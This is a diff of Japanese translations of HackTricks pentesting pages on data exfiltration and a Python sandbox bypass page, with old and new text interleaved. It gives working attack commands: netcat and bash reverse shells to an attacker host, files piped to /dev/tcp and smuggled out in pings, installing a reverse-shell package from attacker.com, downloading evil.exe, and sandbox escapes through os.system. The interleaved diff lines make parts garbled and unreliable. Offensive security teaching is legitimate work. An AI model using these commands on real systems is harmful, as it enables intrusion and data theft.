nc -l -p [ポート番号] -e /bin/bash
``` ```
例えば、ポート番号が`1234`の場合、以下のようにコマンドを実行します。 このコマンドは、指定したポート番号でリバースシェルを作成し、/bin/bashを実行します。
```bash これらの方法を使用して、NCを介してデータを外部に送信することができます。ただし、これらの方法は合法的な目的のためにのみ使用するようにしてください。
nc -l -p 1234
```
このコマンドを実行すると、指定したポート番号でデータの受信を待機します。
### ファイルの送受信
NCを使用してファイルを送受信するには、以下のコマンドを使用します。
ファイルの送信:
```bash
nc <宛先IP> <ポート番号> < 送信するファイル
```
ファイルの受信:
```bash
nc -l -p <ポート番号> > 受信するファイル
```
例えば、宛先IPが`192.168.1.100`でポート番号が`1234`の場合、以下のようにコマンドを実行します。
ファイルの送信:
```bash
nc 192.168.1.100 1234 < file.txt
```
ファイルの受信:
```bash
nc -l -p 1234 > received_file.txt
```
このようにして、NCを使用してデータやファイルを送受信することができます。
```bash ```bash
nc -lvnp 4444 > new_file nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file nc -vn <IP> 4444 < exfil_file
``` ```
```bash ```bash
cat /path/to/file > /dev/tcp/attacker_ip/attacker_port cat /path/to/file > /dev/tcp/<attacker_ip>/<attacker_port>
``` ```
This method allows you to download a file from the victim machine to your machine. Replace `/path/to/file` with the path of the file you want to download, `attacker_ip` with your IP address, and `attacker_port` with the port number you want to use for the connection. この方法では、攻撃者は `/dev/tcp/<attacker_ip>/<attacker_port>` にファイルをダウンロードします。
### Upload file to victim
```bash
cat /path/to/file | nc -l -p victim_port
```
This method allows you to upload a file from your machine to the victim machine. Replace `/path/to/file` with the path of the file you want to upload, and `victim_port` with the port number you want to use for the connection.
### Execute command on victim
```bash
echo -e "GET / HTTP/1.1\r\nHost: attacker_ip\r\n\r\n" > /dev/tcp/victim_ip/victim_port
```
This method allows you to execute a command on the victim machine. Replace `attacker_ip` with your IP address, `victim_ip` with the IP address of the victim machine, and `victim_port` with the port number you want to use for the connection.
### Reverse shell
```bash
bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1
```
This method allows you to establish a reverse shell connection with the victim machine. Replace `attacker_ip` with your IP address, and `attacker_port` with the port number you want to use for the connection.
```bash ```bash
nc -lvnp 80 > file #Inside attacker nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
``` ```
### ファイルを被害者にアップロードする ### ファイルを被害者にアップロードする
To upload a file to the victim's system, you can use various methods depending on the specific scenario. Here are some common techniques: 攻撃者が被害者のシステムにファイルをアップロードすることは、情報の窃取や悪意のある目的のために重要な手法です。以下に、ファイルを被害者にアップロードするための一般的な手法とリソースを示します。
1. **Web-based file upload**: If the victim's system has a web application that allows file uploads, you can exploit this functionality to upload your file. Look for vulnerabilities such as unrestricted file types, insufficient file validation, or server-side code execution vulnerabilities. 1. ファイル共有サービスの悪用: 被害者が利用しているファイル共有サービスDropbox、Google ドライブなど)の脆弱性を悪用して、攻撃者がファイルをアップロードすることができます。これには、脆弱性のあるアップロード機能や認証の欠陥を利用する方法があります。
2. **Email attachments**: Craft a malicious email with an attachment containing your file. Social engineering techniques can be used to trick the victim into opening the email and downloading the attachment. 2. ウェブアプリケーションの脆弱性: 被害者が利用しているウェブアプリケーションに存在する脆弱性を悪用して、攻撃者がファイルをアップロードすることができます。例えば、ファイルアップロード機能における不正なファイルタイプの許可や、ファイルのアップロード先のディレクトリの制限が不十分な場合などです。
3. **Malicious documents**: Create a malicious document (e.g., Word, Excel, PDF) that exploits vulnerabilities in the document reader software. When the victim opens the document, the exploit triggers and executes your file. 3. メールの添付ファイル: 攻撃者は、被害者に対して悪意のあるメールを送信し、そのメールに添付されたファイルをアップロードするように誘導することがあります。これには、ソーシャルエンジニアリングの手法を使用することがあります。
4. **Remote file inclusion**: If the victim's system includes files from external sources, you can try to exploit this functionality to include your file. Look for vulnerabilities such as path traversal or insecure file inclusion. 4. リモートコード実行: 攻撃者は、被害者のシステムにリモートコード実行の脆弱性が存在する場合、その脆弱性を悪用してファイルをアップロードすることができます。これには、ウェブアプリケーションやネットワークデバイスにおける脆弱性を利用する方法があります。
5. **Exploiting software vulnerabilities**: Identify and exploit vulnerabilities in software running on the victim's system. This could include vulnerabilities in web servers, FTP servers, or other network services. 攻撃者がファイルを被害者にアップロードするためには、様々な手法とリソースが利用されます。攻撃者は、これらの手法を理解し、適切な脆弱性を悪用することで、ファイルのアップロードを実現します。
Remember to consider the context and limitations of the target system when choosing the appropriate method for file upload.
```bash ```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim # Inside victim
@ -555,15 +508,21 @@ cat <&6 > file.txt
``` ```
## **ICMP** ## **ICMP**
ICMPInternet Control Message Protocolは、ネットワークデバイス間で制御メッセージを交換するために使用されるプロトコルです。ICMPは、ネットワークの状態やエラーの通知、ネットワークデバイスの可用性の確認など、さまざまな目的で使用されます。 ICMPInternet Control Message Protocolは、ネットワークデバイス間で制御メッセージを送受信するためのプロトコルです。ICMPは、ネットワークの状態やエラーの通知、ネットワークデバイスの可用性の確認など、さまざまな目的で使用されます。
ICMPは、データグラムの形式で送信され、IPヘッダーの一部として使用されます。ICMPメッセージは、送信元から宛先に送信され、宛先は応答メッセージを返すことができます。 ICMPは、データグラムの形式で送信され、IPヘッダの一部として含まれます。ICMPメッセージは、送信元から宛先までの経路上のネットワークデバイスによって処理されます。
ICMPは、ネットワークのトラブルシューティングやネットワークデバイスの状態監視など、さまざまな目的で使用されます。また、ICMPを使用して、ネットワークデバイス間で情報をやり取りすることもできます。 ICMPメッセージは、さまざまなタイプとコードで識別されます。一般的なICMPメッセージには、エコーリクエストpingやエコーリプライping応答などがあります。
ICMPを使用した情報漏洩の手法としては、ICMPトンネリングやICMPエコーリクエスト/エコーリプライメッセージの改ざんなどがあります。これらの手法を使用することで、ネットワークからデータを外部に送信することができます。 ICMPは、ネットワークのトラブルシューティングやネットワークデバイスの可用性の確認に役立ちます。また、ICMPを利用して情報をエクスフィルトすることも可能です。
ICMPを使用した情報漏洩の手法は、ネットワークのセキュリティを脅かす可能性があるため、注意が必要です。適切なセキュリティ対策を講じることが重要です。 ICMPエクスフィルトは、ネットワーク上のデータをICMPメッセージに埋め込んで送信する方法です。この方法を使用すると、ネットワークのファイアウォールやセキュリティシステムを回避してデータを外部に送信することができます。
ICMPエクスフィルトは、データの転送速度が低いため、大量のデータを送信する場合には適していません。しかし、小さなデータセットやコマンドの実行結果など、比較的小さなデータを送信する場合には有用です。
ICMPエクスフィルトを実行するためには、ICMPパケットを生成し、データをパケットに埋め込む必要があります。また、送信元と宛先のIPアドレスを指定する必要があります。
ICMPエクスフィルトは、ネットワークの可用性やセキュリティに影響を与える可能性があるため、適切な許可を得て実行する必要があります。また、ICMPエクスフィルトを検知するためのセキュリティ対策も必要です。
```bash ```bash
# To exfiltrate the content of a file via pings you can do: # To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
@ -583,7 +542,7 @@ sniff(iface="tun0", prn=process_packet)
``` ```
## **SMTP** ## **SMTP**
SMTPサーバーにデータを送信できる場合、Pythonを使用してデータを受信するSMTPを作成できます。 SMTPサーバーにデータを送信できれば、Pythonを使用してデータを受信するSMTPを作成できます。
```bash ```bash
sudo python -m smtpd -n -c DebuggingServer :25 sudo python -m smtpd -n -c DebuggingServer :25
``` ```
@ -610,47 +569,79 @@ def tftp_server():
server_socket.bind(('0.0.0.0', 69)) server_socket.bind(('0.0.0.0', 69))
while True: while True:
# Receive the request packet
data, client_address = server_socket.recvfrom(516) data, client_address = server_socket.recvfrom(516)
opcode = struct.unpack('!H', data[:2])[0] opcode = struct.unpack('!H', data[:2])[0]
# Check if it is a read request (RRQ)
if opcode == 1: if opcode == 1:
# Read request # Extract the filename from the request packet
filename = data[2:data.index(b'\x00', 2)].decode('utf-8') filename = data[2:data.index(b'\x00')].decode('utf-8')
mode = data[data.index(b'\x00', 2) + 1:data.index(b'\x00', data.index(b'\x00', 2) + 1)].decode('utf-8')
# Process the read request and send the file # Open the file in binary mode
# ... try:
file = open(filename, 'rb')
block_number = 1
block_data = file.read(512)
while block_data:
# Create the data packet
data_packet = struct.pack('!HH', 3, block_number) + block_data
# Send the data packet to the client
server_socket.sendto(data_packet, client_address)
# Receive the acknowledgement packet
ack_packet, client_address = server_socket.recvfrom(4)
ack_opcode = struct.unpack('!H', ack_packet[:2])[0]
ack_block_number = struct.unpack('!H', ack_packet[2:])[0]
# Check if the acknowledgement packet is valid
if ack_opcode != 4 or ack_block_number != block_number:
break
# Read the next block of data
block_number += 1
block_data = file.read(512)
# Close the file
file.close()
except FileNotFoundError:
# Send an error packet if the file is not found
error_packet = struct.pack('!HH', 5, 1) + b'File not found'
server_socket.sendto(error_packet, client_address)
# Check if it is a write request (WRQ)
elif opcode == 2: elif opcode == 2:
# Write request # Send an error packet indicating that write requests are not supported
filename = data[2:data.index(b'\x00', 2)].decode('utf-8') error_packet = struct.pack('!HH', 5, 4) + b'Write requests are not supported'
mode = data[data.index(b'\x00', 2) + 1:data.index(b'\x00', data.index(b'\x00', 2) + 1)].decode('utf-8')
# Process the write request and receive the file
# ...
else:
# Invalid opcode
error_packet = struct.pack('!HH', 5, 4) + b'Invalid opcode'
server_socket.sendto(error_packet, client_address) server_socket.sendto(error_packet, client_address)
# Close the server socket
server_socket.close() server_socket.close()
# Start the TFTP server
tftp_server() tftp_server()
``` ```
このコードはPythonでTFTPサーバーを作成するものです。以下の手順で使用できます このコードはPythonでTFTPサーバーを作成するものです。以下の手順で動作します。
1. UDPソケットを作成します。 1. UDPソケットを作成します。
2. ソケットを`0.0.0.0`のポート69にバインドします。 2. ソケットをIPアドレス0.0.0.0、ポート番号69にバインドします。
3. クライアントからのデータを受信します。 3. リクエストパケットを受信します。
4. 受信したデータの最初の2バイトを解析して、操作コードを取得します。 4. リクエストのオペコードを確認し、読み取りリクエストRRQか書き込みリクエストWRQかを判断します。
5. 操作コードに応じて、読み取りリクエストまたは書き込みリクエストを処理します。 5. 読み取りリクエストの場合、リクエストパケットからファイル名を抽出します。
6. 読み取りリクエストの場合、要求されたファイルを処理して送信します。 6. ファイルをバイナリモードで開きます。
7. 書き込みリクエストの場合、ファイルを受信して処理します。 7. ファイルから512バイトのデータを読み取り、データパケットを作成してクライアントに送信します。
8. 操作コードが無効な場合、エラーパケットを送信します。 8. 確認パケットを受信し、パケットが正当かどうかを確認します。
9. 次のデータブロックを読み取り、手順7-8を繰り返します。
10. ファイルの終わりに達した場合、ファイルを閉じます。
11. ファイルが見つからない場合、エラーパケットを送信します。
12. 書き込みリクエストの場合、エラーパケットを送信します。
13. サーバーソケットを閉じます。
このTFTPサーバーは、Pythonを使用してTFTPプロトコルを実装するための基本的なスターターコードです。必要に応じて、読み取りリクエストと書き込みリクエストの処理を追加してください。 TFTPサーバーは、TFTPクライアントからの読み取りリクエストに応答し、要求されたファイルを送信します。ただし、書き込みリクエストには対応していません
```bash ```bash
pip install ptftpd pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER> ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
@ -667,11 +658,15 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
``` ```
## VBScript ## VBScript
VBScriptVisual Basic Scripting Editionは、Microsoft Windows環境で使用されるスクリプト言語です。VBScriptは、Windowsシステム上でのデータの抽出や操作に使用されることがあります。以下に、VBScriptを使用したデータの外部への抽出方法を示します。 VBScriptVisual Basic Scripting Editionは、Microsoftが開発したスクリプト言語です。VBScriptは、Windows環境で広く使用されており、システム管理や自動化のためのスクリプト作成に適しています。
### ファイルの外部への送信 VBScriptを使用してデータを外部に送信する方法はいくつかあります。以下にいくつかの一般的な方法を示します。
VBScriptを使用して、ファイルを外部の場所に送信することができます。以下のコードは、ファイルをFTPサーバーにアップロードする例です。 ### ファイル転送
VBScriptを使用してファイルを外部に転送するには、`FileSystemObject`オブジェクトを使用します。このオブジェクトを使用すると、ファイルの読み取りや書き込み、ファイルのコピーなどの操作が可能です。外部のサーバーにファイルをアップロードする場合は、FTPプロトコルを使用することが一般的です。
以下は、VBScriptを使用してファイルをFTPサーバーにアップロードする例です。
```vbscript ```vbscript
Set objFTP = CreateObject("WinSCP.Session") Set objFTP = CreateObject("WinSCP.Session")
@ -680,35 +675,38 @@ objFTP.PutFile "C:\path\to\file.txt", "/remote/path/file.txt"
objFTP.Close objFTP.Close
``` ```
このコードでは、WinSCP.Sessionオブジェクトを作成し、FTPサーバーに接続します。その後、PutFileメソッドを使用して、ローカルのファイルをリモートの場所にアップロードします。 ### ネットワーク経由のデータ送信
### データのエンコードと送信 VBScriptを使用してネットワーク経由でデータを送信するには、`WinHttp.WinHttpRequest`オブジェクトを使用します。このオブジェクトを使用すると、HTTPリクエストを送信し、データを外部のサーバーに送信することができます。
VBScriptを使用して、データをエンコードして外部に送信することもできます。以下のコードは、Base64エンコードを使用してデータをエンコードし、HTTP POSTリクエストを送信する例です。 以下は、VBScriptを使用してデータを外部のサーバーに送信する例です。
```vbscript ```vbscript
Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
objHTTP.Open "POST", "http://example.com", False objHTTP.Open "POST", "http://example.com/endpoint", False
objHTTP.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" objHTTP.setRequestHeader "Content-Type", "application/json"
objHTTP.Send "data=" & EncodeBase64("sensitive data") objHTTP.Send "{""data"": ""example data""}"
response = objHTTP.ResponseText
``` ```
このコードでは、WinHttp.WinHttpRequest.5.1オブジェクトを作成し、POSTメソッドを使用してHTTPリクエストを送信します。データは、EncodeBase64関数を使用してBase64エンコードされます。 ### 電子メール経由のデータ送信
### データの暗号化と送信 VBScriptを使用して電子メール経由でデータを送信するには、`CDO.Message`オブジェクトを使用します。このオブジェクトを使用すると、SMTPサーバーを介して電子メールを送信することができます。
VBScriptを使用して、データを暗号化して外部に送信することもできます。以下のコードは、AES暗号化を使用してデータを暗号化し、HTTP POSTリクエストを送信する例です。 以下は、VBScriptを使用して電子メールを送信する例です。
```vbscript ```vbscript
Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") Set objEmail = CreateObject("CDO.Message")
objHTTP.Open "POST", "http://example.com", False objEmail.From = "sender@example.com"
objHTTP.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" objEmail.To = "recipient@example.com"
objHTTP.Send "data=" & EncryptAES("sensitive data", "encryption key") objEmail.Subject = "Example Subject"
response = objHTTP.ResponseText objEmail.TextBody = "Example Body"
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.example.com"
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objEmail.Configuration.Fields.Update
objEmail.Send
``` ```
このコードでは、WinHttp.WinHttpRequest.5.1オブジェクトを作成し、POSTメソッドを使用してHTTPリクエストを送信します。データは、EncryptAES関数を使用してAES暗号化されます。 れらは、VBScriptを使用してデータを外部に送信する一般的な方法のいくつかです。ただし、これらの方法を使用する場合は、セキュリティ上の注意が必要です。データの送信先や送信されるデータの内容を慎重に検討し、適切なセキュリティ対策を講じることが重要です。
```bash ```bash
Attacker> python -m SimpleHTTPServer 80 Attacker> python -m SimpleHTTPServer 80
``` ```
@ -746,35 +744,37 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
``` ```
## Debug.exe ## Debug.exe
これはWindows 32ビットマシンで動作するクレイジーなテクニックです。アイデアは、`debug.exe`プログラムを使用することです。これはデバッガのようにバイナリを検査するために使用されますが、16進数から再構築することもできます。したがって、アイデアは、`netcat`のようなバイナリを取り、それを16進数に逆アセンブルし、侵害されたマシン上のファイルに貼り付け、そして`debug.exe`でアセンブルすることです。 これはWindows 32ビットマシンで動作するクレイジーなテクニックです。アイデアは、`debug.exe`プログラムを使用することです。これはデバッガのようにバイナリを検査するために使用されます。しかし、それはまた、16進数からバイナリを再構築することもできます。したがって、アイデアは、`netcat`のようなバイナリを取り、それを16進数に逆アセンブルし、それを侵害されたマシン上のファイルに貼り付け、そして`debug.exe`でアセンブルすることです。
`Debug.exe`は64 kbしかアセンブルできません。したがって、それよりも小さいファイルを使用する必要があります。さらに、upxを使用してさらに圧縮することができます。それでは、以下のようにしましょう: `Debug.exe`は64 KBしかアセンブルできません。したがって、それよりも小さいファイルを使用する必要があります。さらに、それをさらに圧縮するためにupxを使用することができます。それでは、以下のようにしましょう:
``` ```
upx -9 nc.exe upx -9 nc.exe
``` ```
今ではわずか29 kbしかありません。完璧です。さて、それを分解しましょう: 今ではわずか29 kbしかありません。完璧です。では、それを分解しましょう:
``` ```
wine exe2bat.exe nc.exe nc.txt wine exe2bat.exe nc.exe nc.txt
``` ```
今、テキストをWindowsシェルにコピーして貼り付けるだけです。それによって、自動的にnc.exeという名前のファイルが作成されます。 今、テキストをWindowsシェルにコピーして貼り付けるだけです。すると、自動的にnc.exeという名前のファイルが作成されます。
## DNS ## DNS
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (21).png" alt="" data-size="original">\ <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
{% embed url="https://go.intigriti.com/hacktricks" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)****
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>

View file

@ -1,30 +1,30 @@
# Pythonサンドボックスのバイパス # Pythonサンドボックスのバイパス
![](<../../../.gitbook/assets/image (9) (1) (2).png>)
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
これは、Pythonサンドボックスの保護を回避し、任意のコマンドを実行するためのいくつかのトリックです。 <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
これらは、Pythonサンドボックスの保護をバイパスし、任意のコマンドを実行するためのトリックです。
## コマンド実行ライブラリ ## コマンド実行ライブラリ
最初に知る必要があるのは、既にインポートされているライブラリを使用してコードを直接実行できるかどうか、またはこれらのライブラリのいずれかをインポートできるかどうかです: 最初に知るべきことは、すでにインポートされているライブラリでコードを直接実行できるかどうか、またはこれらのライブラリのいずれかをインポートできるかどうかです:
```python ```python
os.system("ls") os.system("ls")
os.popen("ls").read() os.popen("ls").read()
@ -57,13 +57,13 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py') execfile('/usr/lib/python2.7/os.py')
system('ls') system('ls')
``` ```
_**open**_と_**read**_関数は、Pythonサンドボックス内のファイルを**読み取る**ためや、サンドボックスを**バイパス**するために**実行**できるコードを**書く**のに役立ちます。 _**open**_と_**read**_関数は、Pythonサンドボックス内のファイルを**読み取る**のに役立ち、サンドボックスを**バイパス**するために**実行**できるコードを**書く**のに役立ちます。
{% hint style="danger" %} {% hint style="danger" %}
**Python2のinput()**関数は、プログラムがクラッシュする前にPythonコードを実行することができます。 **Python2のinput()**関数は、プログラムがクラッシュする前にPythonコードを実行することができます。
{% endhint %} {% endhint %}
Pythonはまず**現在のディレクトリからライブラリを読み込もうとします**(次のコマンドはPythonがモジュールをどこから読み込んでいるかを表示します`python3 -c 'import sys; print(sys.path)'` Pythonはまず**現在のディレクトリからライブラリを読み込もうとします**次のコマンドはPythonがモジュールをどこから読み込んでいるかを表示します`python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (552).png>) ![](<../../../.gitbook/assets/image (552).png>)
@ -72,7 +72,7 @@ Pythonは、まず**現在のディレクトリからライブラリを読み込
### デフォルトのパッケージ ### デフォルトのパッケージ
ここで**事前にインストールされている**パッケージのリストを見つけることができます:[https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ ここで**事前にインストールされている**パッケージのリストを見つけることができます:[https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
pickleからは、システムに**インストールされている任意のライブラリ**をPython環境にインポートすることができます。\ pickleからは、システムにインストールされている**任意のライブラリ**をPython環境にインポートすることができます。\
たとえば、次のpickleは、ロードされるとpipライブラリをインポートして使用します たとえば、次のpickleは、ロードされるとpipライブラリをインポートして使用します
```python ```python
#Note that here we are importing the pip library so the pickle is created correctly #Note that here we are importing the pip library so the pickle is created correctly
@ -97,7 +97,7 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
pip install http://attacker.com/Rerverse.tar.gz pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
``` ```
リバースシェルを作成するためのパッケージはこちらからダウンロードできます。使用する前に、**解凍し、`setup.py`を変更し、リバースシェルのためのIPを設定してください** リバースシェルを作成するためのパッケージはこちらからダウンロードできます。使用する前に、**解凍し、`setup.py`を変更し、リバースシェルのためのIPアドレスを設定してください**
{% file src="../../../.gitbook/assets/reverse.tar.gz" %} {% file src="../../../.gitbook/assets/reverse.tar.gz" %}
@ -111,7 +111,7 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
execは複数行の文字列と";"を許可しますが、evalは許可しませんウォルラス演算子を確認してください execは複数行の文字列と";"を許可しますが、evalは許可しませんウォルラス演算子を確認してください
{% endhint %} {% endhint %}
特定の文字が禁止されている場合、制限を**バイパス**するために**16進数/8進数/B64**表現を使用できます 特定の文字が禁止されている場合、制限を**バイパス**するために**16進数/8進数/B64**表現を使用できます
```python ```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE'); __import__('os').system('ls')") #Using ";"
